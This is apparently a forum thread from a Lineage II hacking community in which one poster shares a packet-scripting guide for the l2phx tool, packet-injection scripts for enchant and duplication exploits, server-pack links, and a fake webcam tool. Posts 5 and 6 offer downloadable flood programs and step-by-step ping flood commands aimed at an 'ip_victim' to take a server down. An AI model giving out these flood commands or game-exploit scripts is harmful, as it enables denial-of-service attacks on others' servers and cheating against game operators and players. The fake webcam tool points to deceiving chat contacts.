Jump to content

Recommended Posts

Posted

1

[guide] how to write scripts

 

First of all, you need programming skills to Object Pascal (or Delphi, which is approximately the same) and to manipulate packets naturally need to know what they are present

 

In this topic, leash, I will describe the internal functions and variables of the program

 

Description FastScript: (a scripting dvizhek used in the program)

 

Available variables:

 

pck (string) - current processable package (without first two bytes in size

 

FromClient (boolean) - package (pck) has come from the client (vseravno that not FromServer)

FromServer (boolean) - package (pck) has come from the server (that vseravno not FromClient)

buf (string) - a buffer used by some functions

ConnectName (string) - name of chara or to which is a package (v. 3.1.3 +)

ConnectID (integer) - number of connections for which the script

 

 

Available functions:

 

ShowTab and HideTab - to display / hide the toolbar (UserTab), which can operate from a script

To draw on it UserTab controls must be specified as a parent

SendToClient - sends the client the contents of the variable buf

SendToServer - the server sends the contents of the variable buf

SendToClientEx (CharName: string) - sends the client with the name CharName contents of a variable buf (v. 3.1.3 +)

SendToServerEx (CharName: string) - sends a server named CharName content variable buf (v. 3.1.3 +)

(the package buf automatically added to 2 bytes length)

 

 

NoFreeOnClientDisconnect - prohibits the closure of the connection when the client disconnect (v. 3.1.9 +)

NoFreeOnServerDisconnect - prohibits the closure of the connection with disconnect server (v. 3.1.9 +)

YesFreeOnClientDisconnect - allow closing the connection when the client disconnect (v. 3.1.9 +)

YesFreeOnServerDisconnect - allow closing the connection with disconnect server (v. 3.1.9 +)

(default closure allowed)

DisconnectServer - closes the connection to the server (v. 3.2.0 +)

DisconnectClient - closes the connection to the client (v. 3.2.0 +)

 

 

ConnectNameByID (id: integer): string - returns the connection name on his ID (v. 3.2.0 +)

ConnectIDByName (name: string): integer - returns the connection ID on his behalf (v. 3.2.0 +)

SetName (Name: string) - sets the connection name (v. 3.2.0 +)

 

ReadC (var index: integer): byte - reads from a variable (pck) byte

ReadH (var index: integer): word - reading from a variable (pck) number (2 bytes) (v. 3.1.8 +)

ReadD (var index: integer): integer - reads from a variable (pck) number (4 bytes)

ReadF (var index: integer): double - reads from a variable (pck) c floating-point number (8 bytes) (v. 3.1.8 +)

ReadS (var index: integer): string - reads from a variable (pck) line (in the package nulterminirovannaya unicode string, and the resulting string is the usual Pascal)

Index - start position of reading, which is modified by function (shifted by the number of bytes read)

 

HStr (h: string): string - converts a string to HEX-sequence

For example, HStr ( 'AA 00 BB 00 CC 00') will return byte string # $ AA # $ 00 # $ BB # $ 00 # $ CC # $ 00. You can pass a string with spaces as well as without them the case of letters does not matter.

 

WriteC (v: byte; ind: integer = 0) - writes in the variable buf one byte

WriteH (v: word; ind: integer = 0) - writes in the variable buf number (2 bytes) (v. 3.1.8 +)

WriteD (v: integer; ind: integer = 0) - writes in the variable buf number (4 bytes)

WriteF (v: double; ind: integer = 0) - writes in the variable buf number c floating point (8 bytes) (v. 3.1.8 +)

WriteS (v: string) - writes in the variable buf a line (machine translation in unicode)

In the first four procedures, there is an optional parameter ind. If this parameter is not specified, the variable buf is supplemented by a byte / number, otherwise part of the buffer is modified

 

LoadLibrary (LibName: String): Integer - loads the program library LibName and returns a pointer to it

(v. 3.1.8 +)

FreeLibrary (LibHandle: Integer): Boolean - unloads from memory the program library (v. 3.1.8 +)

CallFunction (LibHandle: integer; FunctionName: String; Count: Integ er; Params: array of variant): variant - is a function FunctionName of our pre-loaded library with a pointer LibHandle and the parameters listed in Params (v. 3.1.8 +)

 

Example:

buf = HStr ( 'AA BB CC DD EE');

If you call WriteD (10,1), we obtain buf = [0A 00 00 00 EE].

And if you simply WriteD (10), [AA BB CC DD EE 0A 00 00 00].

 

Example script:

 

begin
  if FromClient and (ConnectName='[color=blue]skanners[/color]') 
  and (pck=HStr('1b 04 00 00 00')) then begin
    buf:=HStr('45 00 00 00 00 00 00 00 00 00');
    SendToServerEx('[color=blue]skanners[/color]');
    pck:='';
  end;
end.

 

Upon receipt of the client plays a chara with the nickname SokolA package 1b 04 00 00 00 (social action "Victory") nepropustit the package and send the package 45 00 00 00 00 00 00 00 00 00 (the command to sit) on behalf of a client for playing with Chara nickname skanners, ie you are playing in two windows, one skanners1, in another skanners2, click in the first Victory, andskanners1 sits.

 

Example functions from libraries:

 

var
  lib,Lib1:Integer;
  Res:variant;
  ar:array of variant;
begin
  lib := loadLibrary('User32.dll');
  lib1 := loadLibrary('GDI32.dll');
  Res := CallFunction(lib,'MessageBoxW',4,[nil,'Text1','text2',0]);
  Res := CallFunction(lib,'GetDC',1,[0]);
  CallFunction(lib1,'LineTo',3,[Res,100,100]);
  CallFunction(lib,'ReleaseDC',2,[0,Res]);
  FreeLibrary(lib);
  FreeLibrary(lib1);
end.

 

Under Scripts:

Procedure OnConnect (WithClient: Boolean) is called when a connection is established, the flag WithClient points with the client whether there was a connection (v. 3.1.9 +)

Procedure OnDisconnect (WithClient: Boolean) is caused a loss of connection (v. 3.1.9 +)

Procedure Init is called when you set the checkbox next to the script.

Procedure Free is called when you take away a checkmark next to the script.

The main body of the script (between begin and end) is called every time you receive a package from the server or the client if the script is checked.

 

On the Advanced tab:

The main body of the script (between begin and end) is invoked by pressing the Run button, and terminated either by pressing Stop, or at the end of the script.

 

Enjoy!!

 

ps: i made this guide for newbie to learn make alone some script!!

 

2

 

[share]Modification L2phx 3.2.0 (official continuation of the program)

 

New Change For l2phx!! New Project!

 

Comfortable viewing through a browser here -> http://l2phx.pp.ru/wsvn/listing.php?repname=l2phx3&path=/&sc=1 

 

Log message: (translate Ru - Eng) [+] Tick Kamael-helbound-gracia settings will ustanavlivatsya automatically after selecting the protocol. with its status can be changed after selecting the protocol.

did build

 

 

Compiled Version here  -> http://l2phx.pp.ru/arhive/

 

Are there any proposals to upgrade the existing code with a description of how it should and that I would like to replace / add?

 

The program is written in the environment of Borland Developer Studio 2006 or 2009 using the following additional libraries of components:

 

- FastScript ( http://fast-report.com/ru/products/fast-script.html )

 

Page Translate :( http://fast-report.com/ru/products/fast-script.html )

 

FASTSCRIPT - scripting library containing 4 programming language

FastScript - a library for scripting. It will be helpful for developers who want to add scripting ability to their projects.

 

FastScript written entirely in 100% Object Pascal and can be installed in Borland Delphi 4-2009, Borland C + + Builder 4-6, Borland Kylix 1-3 and Lazarus.

 

Maximum flexibility and power

 

Unique opportunities FastScript - ability to use several languages (currently - PascalScript, C + + Script, JScript and BasicScript), you can write scripts using your favorite programming language. FastScript does not use Microsoft Scripting Host, so it can be used both in Windows, and in Linux.

 

FastScript combines cross-platform, fast code execution, small footprint, rich selection of features and excellent scalability. Make your applications flexible and powerful FastScript!

 

Features:

 

OLE support

variant arrays

hierarchy of classes and functions

code editor with syntax highlighting and bookmarks

Multi-language architecture allows you to use multiple languages (currently - PascalScript, C + + Script, JScript, BasicScript). You can add any other procedure-oriented languages (their description is stored in XML-format)

possibility of creation and execution of multilingual scripts

Standard language set: variables, constants, procedures, functions (with the possibility of nesting) with var / const / default parameters, all standard operators and ads (including case, try / finally / except, with), types (int, float, bool, char, string, multi-dimensional array, variant), classes (with methods, events, properties, indices and default properties).

check the compatibility of types.

Access to any object in your application. Standard libraries for access to base classes, controls, forms and database. Easily expandable library architecture.

Compact - 80-150Kb depending on used modules.

 

 

- JCL (http://sourceforge.net/projects/jcl/)

 

- JVCL (http://sourceforge.net/projects/jvcl/)

 

Additional components to take here ->  http://l2phx.pp.ru/arhive/components/

 

/ upd:

compilation of recent revisions need JCL, JVCL (link above) as well as:

jwapi2.2a, SyntEdit, TRichView.v11.0 + ScaleRichView.v2.0, TsiLang ( http://letitbit.net/download/9568.e9abc119b82a7e8b364a162c4/archive.rar.html / http://upload.com.ua/get/901032112/ )

Few stripped FastScript look in the file archive.

 

Enjoy!!

 

 

attachment.php?attachmentid=297&d=1240206700

 

 

3

[share]Script "Accessibility"

 

The unpretentious script for "deaf", forwards the message coming from your chosen chat chat PartyChannel, mostly useful for those who do not use TS, in a batch does not always have the opportunity to read the tiny letters in the chat, but with the script you want your chat will be displayed in big letters on the screen.

Should work on all the chronicles, beginning and ending with the Kamael Final.

 

 

Const
   TextType=0;  //change the value under the desired chat: 0 = general chat, 1=!,
                //2=PM, 3=Party, 4=Clan, 8=Trade, 9=Alli, 17=Hero
begin
   if FromServer and (pck[1]=#$4A) and (ReadD(6)=TextType) then
      begin
         buf:=pck;
         WriteD(15,6);
         pck:=buf;
      end;
end.

 

 

 

4

[share]l2phx  fast Enchat

 

Name='skanners';
   MaxEnchantLvl=10;
   ScrollId=731;
   ItemId=5643;
   BuyScrolls='A7 B1 02 00 00 E0 FD 1C 00 15 00 00 00 00 00 00 00 00 00 00 00';
   PacketScriptOn='38 67 00 6F 00 67 00 6F 00 67 00 6F 00 21 00 21 00 21 00 00 00 00 00 00 00';

var
  ScrollObj,ItemObj,NumOfItems,i:integer;
  Timer01:TTimer;
  EnchLvl,MinEnch:word;
  ScriptOn:boolean;

procedure Init;
begin
   Timer01:=TTimer.Create(nil);
   Timer01.OnTimer:=@OnTimer01;
   Timer01.enabled:=false;
   Timer01.interval:=601;
   ScriptOn:=false;
end;

procedure OnTimer01(Sender: TObject);
begin
     buf:='';
     WriteC(20);
     WriteD(ScrollObj);
     WriteD(0);
     SendToServerEx(name);
     delay(327);
     buf:='';
     WriteC(88);
     WriteD(ItemObj);
     SendToServerEx(name);
     timer01.enabled:=false;
end;

procedure Free;
begin
  Timer01.free;
end;

begin
    if FromClient and (pck=HStr(PacketScriptOn)) then
       begin
       if not ScriptOn then
          begin
          ScriptOn:=true;
          buf:=HStr(BuyScrolls);
          SendToServerEx(name);
          end
       else
          begin
          ScriptOn:=false;
          end;
       pck:='';
       end;
    if FromServer and (pck[1]=HStr('1B')) and ScriptOn then
       begin
       ScrollObj:=0;
       ItemObj:=0;
       NumOfItems:=ReadH(4);
       MinEnch:=30;
       for i:=1 to NumOfItems do
           begin
           If ReadD(12+36*(i-1))=ScrollId then ScrollObj:=ReadD(8+36*(i-1));
           If (ReadD(12+36*(i-1))=ItemId) and (ReadH(30+36*(i-1))<=MinEnch) then
              begin
              ItemObj:=ReadD(8+36*(i-1));
              MinEnch:=ReadH(30+36*(i-1));
              EnchLvl:=ReadH(30+36*(i-1));
              end;
           end;
       if (ScrollObj>0) and (ItemObj>0) and (EnchLvl<MaxEnchantLvl) then timer01.enabled:=true
       else
           if not(EnchLvl=MaxEnchantLvl) then
           begin
              buf:=HStr(BuyScrolls);
              SendToServerEx(name);
           end;
       end;
end.

 

 

is like script l2fast agumetation!!

 

 

Credits = 1 rusian site :) http://coderx.ru

 

 

 

 

Posted

5

[share]Flood programs

 

 

 

with this program you can flood some server's

 

photo

 

pingfloodip.jpg

 

 

Downloand

 

Credit's = _nobodY_  and  skanners

 

 

 

How to IP Flood Host Boot Program Included v1 5

http://www.youtube.com/watch?v=rLe2dEy0byQ

 

 

 

Warning: i am not responsible for any and all results due to the use of these programs herein.

 

Just protecting myself.

 

Credit's => KiD and Me for Share it

 

Downloand

 

 

 

 

Port all the time is 7777

 

and for guide look the photo

 

 

 

turboflood.jpg

 

 

 

 

 

Downloand

 

 

6

[share] How You Down 1 Server

 

Ok you wanna down 1 Server???

 

but onlly l2j and home machine (is manny there)

 

ok some step's

 

 

 

1.Click: Start -> Run -> CMD

6 after you run -> CMD u have some step

 

ping -f ip_victima
ping -t -l 65000 ip_victim
ping -t -l 45000 ip_victim
ping -t -l 25000 ip_victim
ping -t -l 15000 Ip_victim

 

Push Enter after w8 some min ,good luck

 

PS: Where you see  "ip_victima" you need put ip from yor victim ex "89.34.15.367".

 

 

7

[share]l2phx Fast enchant 2

 

Fast, New, lp2hx enchant. What could be better?!

 

1. You will need 3 weapon you want to enchant and enough enchant scrolls

 

2. Go to your l2phx and look the sniffer, delete all, and active only the C button.

 

3. Next enchant each weapon to +1, you'll see there 3 process for one for each enchantment. So copy the 3 processes for each +1 weapon enchant.

 

4. After you copy all 9 addresses just send the packets repetitively for about 30 seconds, you will make at least one or two +20 weapons.

 

*This trick works on all gracia 2 servers that I have tested!

 

Cheers!

 

 

8

[share] Interlude Preconfigurate Pack by ME

 

Ok guy's Frist i wanna show you some photo i will not share the pack YET .. after i see some nice come about this pack i will share de link of downloand!!

 

#Anty Phx Anoncement

# Anty Ench Phx

# Anty Agument Stuck

# Anty Chanting hack

# Anty Multy Skill Bug

# Rb ALL edited with special skill and special drop

#all farming area Work

#anty Trade hack

# l2jArchid Preconfigurate by me

#Anty GM coruption (if give + or item's on trade to some1 got auto BAN)

 

Downloand Server pack RapidShare

 

Downloand Server pack MegaUploader

 

Downloand Data Base RapidShare

 

Downloand Data Base MegaUploader

 

 

 

Gm Shop 

 

shot00013fod.jpg

 

Agumenter!

 

width=1024 height=743http://img188.imageshack.us/img188/5049/shot00014w.jpg[/img]

 

Special Shop

 

width=1024 height=743http://img199.imageshack.us/img199/8168/shot00015nah.jpg[/img]

 

Clan Skill Seler

 

width=1024 height=743http://img32.imageshack.us/img32/5033/shot00016u.jpg[/img]

 

 

Special Gateekeper

 

width=1024 height=743http://img90.imageshack.us/img90/9808/shot00017n.jpg[/img]

 

Buffer

 

shot00019uvj.jpg

 

 

 

and in farming area all moob's i edit`ing with nice drop for special shop!! soo say yor opinion!

 

 

9

[share] Server packs repository+Tools

 

Well the purpouse of this thread is to merge in some way all the server packs shares... I think if we merge them all in one place things will be a lil less messed up and will avoid many questions from new users.

 

                            SERVER PACKS

 

L2JFree

 

CT2 Gracia Part 2 Branch (Has Legacy CT1 support) - Clean Compile, no extras

 

Login Server CT2.2 Stable Release 1.2.0 (You need this one for latest 1.2.12 release)

http://rapidshare.com/files/245450685/CT2.2_loginserver_1.2.0.zip

 

Login Server CT1.5 Stable Release 1.1.0 (Obsolete for latest 1.2.12 stable release, download the new one up here)

http://rapidshare.com/files/122858350/CT1.5_loginserver_1.1.0.zip

 

GeoServer Rev 1.2.0 (Standalone server to share 1 geoserver on 2+ gameservers) <<<<<<< Useless since CT2 Part 2 Stable 1.2.10

http://rapidshare.com/files/155779496/l2jfree-geoserver-dist_1.2.0.zip

 

 

Gameserver+Datapack CT2 Part 2 Stable Release 1.2.12 (Development ended! This is the final rev of CT2.2 branch. Next one will be Gracia Final 1.3.0)

http://rapidshare.com/files/245433840/l2jfree-gameserver-dist_Stable_1.2.12_CT2_Part_2.zip

 

 

Gameserver+Datapack CT2 Part 2 Stable Release 1.2.11

http://rapidshare.com/files/207398097/l2jfree-gameserver-dist_Stable_1.2.11_CT2_Part_2.zip

 

 

Gameserver+Datapack CT2 Part 2 Stable Release 1.2.10

http://rapidshare.com/files/193195161/l2jfree-gameserver-dist_Stable_1.2.10_CT2_Part_2.zip

 

 

CT2 Gracia Part 1 Branch (Has Legacy CT1 support) - Clean Compile, no extras

Login Server CT1.5 Stable Release 1.1.0 (Yes, the old one works)

http://rapidshare.com/files/122858350/CT1.5_loginserver_1.1.0.zip

 

UP//

GeoServer Rev 1.2.0 (Standalone server to share 1 geoserver on 2+ gameservers)

http://rapidshare.com/files/155779496/l2jfree-geoserver-dist_1.2.0.zip

 

 

 

Gameserver+Datapack CT2 Stable Release 1.2.3

http://rapidshare.com/files/155779396/l2jfree-gameserver-dist_CT2_Stable_1.2.3.zip

 

 

 

CT1.5 Hellbound Branch (Has Legacy CT1 support) - Clean Compile, no extras

Login Server CT1.5 Stable Release 1.1.0

http://rapidshare.com/files/122858350/CT1.5_loginserver_1.1.0.zip

 

 

Gameserver+Datapack CT1.5 Stable Release 1.1.5A (Development ended! This is the final rev of CT1.5 Hellbound branch)

http://rapidshare.com/files/137275595/CT1.5_gameserver_1.1.5A.zip

 

 

Gameserver+Datapack CT1.5 Stable Release 1.1.4

http://rapidshare.com/files/134732323/l2jfree-gameserver-dist_CT1.5_Stable_1.1.4.zip

 

 

 

CT1 Branch - Clean Compile, no extras

Rev 3556 (Last one with CT1-Only support)

 

http://rapidshare.com/files/109688089/CT1_L2JFree_3556.7z

 

 

 

Interlude Branch - Clean Compile, no extras

Rev 2741 (Development ended! This is the final rev of Interlude branch)

http://rapidshare.com/files/82353406/IL_L2JFree_2741_-_Final.7z

 

 

 

 

 

L2EMU

 

 

 

CT1.5 Hellbound Branch (Has Legacy CT1 support) - Clean Compile, no extras

Rev 3634

http://rapidshare.com/files/114004525/CT1_L2EMU_3634.7z

 

 

 

 

CT1 Branch - Clean Compile, no extras

Rev 3258

http://rapidshare.com/files/109688175/CT1_L2EMU_3258.7z

 

 

 

 

Interlude Branch - Clean Compile, no extras

Rev 1453 (Development ended! This is the final rev of Interlude branch)

http://rapidshare.com/files/78817160/IL_L2JEmu_1453_-_Final.7z

 

 

 

 

 

Geodatas & Pathnodes

 

 

CT2 Part 2 Branch

CT2 Part 2 Geodata Rev 363

http://rapidshare.com/files/193202406/L2-Geodata_-_Geodatas_CT2_Part_2_Rev_363.rar

 

CT2 Part 1 Branch

CT2 Part 1 Geodata Rev 338 - Part 1

http://rapidshare.com/files/155784357/L2-Geodata_-_Geodata_CT2_Rev_338.part1.rar

 

CT2 Part 1 Geodata Rev 338 - Part 2

http://rapidshare.com/files/155785478/L2-Geodata_-_Geodata_CT2_Rev_338.part2.rar

Pathnodes are generated on the fly now, so no need to use pre-generated ones

 

 

                                        OTHER TOOLS

 

 

Michelle's Dropcalc

With CT2 Support???

Rev 164

http://rapidshare.com/files/155786189/Michelle_s_L2JDropcalc_Rev_164.7z

 

With CT1 Support!

Rev 108

http://rapidshare.com/files/120872767/Michelle_s_L2JDropcalc_Rev_108.7z

 

 

L2DAT_EncDec

Rev 30 (CT2 Part 1 Support)

http://www.l2j-jp.info/filez/L2Dat_EncDecSetup_Rev30.msi

 

Lineage II - Multisell Manager 1.2

http://rapidshare.com/files/67631574/L2Multisell_1.2.rar

(Needs Microsoft .NET 2 Framework to work)

http://www.microsoft.com/downloads/en/results.aspx?pocId=&freetext=Framework&DisplayLang=en

 

 

f you wanna talk about anything in here do it on

 

 

10

[share] fake WebCam for msn and yahoo

 

Tutorial Fake WebCam

 

http://www.youtube.com/watch?v=LvltIH72zeY

 

 

Downloand

 

 

11

[share]Jokker Skin

 

my new creation...!!!

if u swich yor windous chanell apered this one or if u close yor pc/open it u have 1 nice photo with joker i made it :)

 

i have manny program's to share .. but may be is wrog section,, i dont know in what section to share some program's  like  MsN Scan(to se who is on/off/inv)  universal hider to hide manny program's(when u play anothor game.. to close l2 client  but stil yo`r online.. so guy's tell me where i can share thi program's and i will share..:)

 

skanners.jpg

 

downloand -> http://www.4shared.com/file/123891467/269bb433/Joker_skin.html

 

 

 

Enjoy!!

Posted

This topic is kinda all in one from everything. You should split the topic and make few topics, posting them in different sections.

Posted

This topic is kinda all in one from everything. You should split the topic and make few topics, posting them in different sections.

agree good info but too much for 1 olnly topic

Posted

This topic is kinda all in one from everything. You should split the topic and make few topics, posting them in different sections.

 

Indeed the second post doesnt have almost nothing to do with exploits :/

 

Locked, if you want make 2 threads as lain said, in 1 put all your exploits and in the other your L2J shares.

Guest
This topic is now closed to further replies.


  • Posts

    • Added the protection module to the demo.   DDoS Guard Pro v2.0 is a system protection module for PlayMMO CMS designed to reduce the load on the website during HTTP floods, bot activity, suspicious frequent requests, and attacks on individual pages or API methods. Unlike simple global limiters, DDoS Guard Pro v2.0 supports flexible rules based on routes and HTTP methods. This allows you to block the entire site in a targeted manner, rather than blocking the entire site equally. You can set up protection for specific areas of the site, such as login, registration, APIs, administration, forms, and other sensitive areas. What is the purpose of the module? DDoS Guard Pro v2.0 helps protect your site from basic L7 attacks at the HTTP request level. The module is useful when your site receives: frequent requests from a single IP address; HTTP page floods; login or registration form flooding; automatic requests from bots; URL scanning; frequent API requests; suspicious activity spikes; load on individual CMS methods or pages. The module helps to reduce the load on PHP and CMS by limiting suspicious activity before it starts to create a serious load on the site. Main features Per-route and per-method Rate Limit In the new version, protection is configured not only globally, but also according to specific rules. You can set limits separately for: GET; POST; PUT; PATCH; DELETE; ALL. This allows you to flexibly protect different parts of your website. For example: for the login page, you can set a strict limit; for registration, you can set a separate limit; for the API, you can set a limit for reading and a limit for changing data; for regular website pages, you can set a soft limit or not set a limit at all. This approach reduces the risk of accidentally blocking regular users and makes the protection more accurate. Flexible rule system The module supports setting rules in the following format: METHODS|PATTERN|LIMIT|WINDOW|BURST_LIMIT|BURST_WINDOW|BLOCK_SECONDS|IDENTITY|NAME Example of rules: POST|*login*|10|60|5|10|600|ip|login_post POST|*register*|8|60|4|10|600|ip|register_post GET|*api*|300|60|80|10|120|ip|api_get PUT,PATCH,DELETE|*api*|80|60|20|10|300|ip|api_write This allows you to specify exactly: which HTTP methods to protect; which URLs or URL patterns to consider; how many requests are allowed; over what time period; what burst limit to use;  how many seconds to block the offender;  by which ID to count the limit;  what the rule is called. Burst protection against sharp spikes  In addition to the regular request limit, the module monitors sharp spikes of activity.  This is useful when a bot makes many requests in a few seconds. In this case, the protection can be activated faster, without waiting for the overall limit per minute.  Burst protection is especially useful for: authorization pages; registration; API; search; data submission forms; administrative sections. Support for different types of requests DDoS Guard Pro v2.0 works not only with POST requests. The module can control: GET — regular pages, API requests, search; POST — forms, login, registration, data submission; PUT — updating data via API; PATCH — partial data update; DELETE — data deletion; ALL — all methods at once. This makes the module suitable not only for regular sites, but also for CMS with API, personal accounts, game panels and administrative actions. Limit storage: Redis, APCu and file fallback In the new version, the module supports several options for storing temporary data. Available modes: Redis; APCu; file fallback. The auto mode tries to use the most suitable option: Redis; APCu; file storage as a fallback. Redis or APCu are suitable for more efficient operation, while the file storage is left as a fallback option for simple hosting environments that do not have additional extensions. JSONL logging The module records protection events in JSON Lines format. Logs are saved in the following file: storage/logs/ddos_guard.jsonl This format is more convenient than a regular text log, because each event is stored as a separate JSON record. The logs can record the following information: event time; IP address; HTTP method; URL; name of the triggered rule; reason for blocking; number of requests; action status; user-agent; protection mode. The JSONL format is convenient for analysis by external tools, log agents, and monitoring systems. Prometheus metrics DDoS Guard Pro v2.0 adds an endpoint for receiving metrics in Prometheus format. Endpoint: /?ddos_guard_metrics=TOKEN The token is set in the module settings. Metrics allow you to track: the number of processed requests; the number of rule activations; the number of blocks; activity by limits; protection events; module status. This allows you to connect monitoring and configure alerts so that the administrator can see when suspicious activity starts on the site. LOG ONLY mode The module has a LOG ONLY mode. In this mode, DDoS Guard Pro does not block users, but only records events and potential triggers in the log. This mode is recommended to be used after installation, in order to first see which rules are triggered, and only then to enable the real blocking.  This helps to avoid too strict limits and random blocking of regular users.  Support for Cloudflare and proxy  The module supports working behind Cloudflare or another reverse proxy.  With proper configuration, it is possible to take into account the real IP of the user, and not the IP of the proxy server.  This is important for sites that use:  Cloudflare; nginx reverse proxy; load balancers; CDN; hosting proxy protection. Nginx-recommendations DDoS Guard Pro v2.0 contains an example nginx-config: modules/ddos_guard/nginx-ddos-guard-example.conf This allows you to use the module as an additional application layer of protection, and to move the main coarse limits to the nginx level. Recommended protection scheme: Cloudflare / nginx / firewall → DDoS Guard Pro → PlayMMO CMS This approach is more correct than trying to solve all problems only at the PHP level.
  • Topics

×
×
  • Create New...

Important Information

This community uses essential cookies to function properly. Non-essential cookies and third-party services are used only with your consent. Read our Privacy Policy and We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue..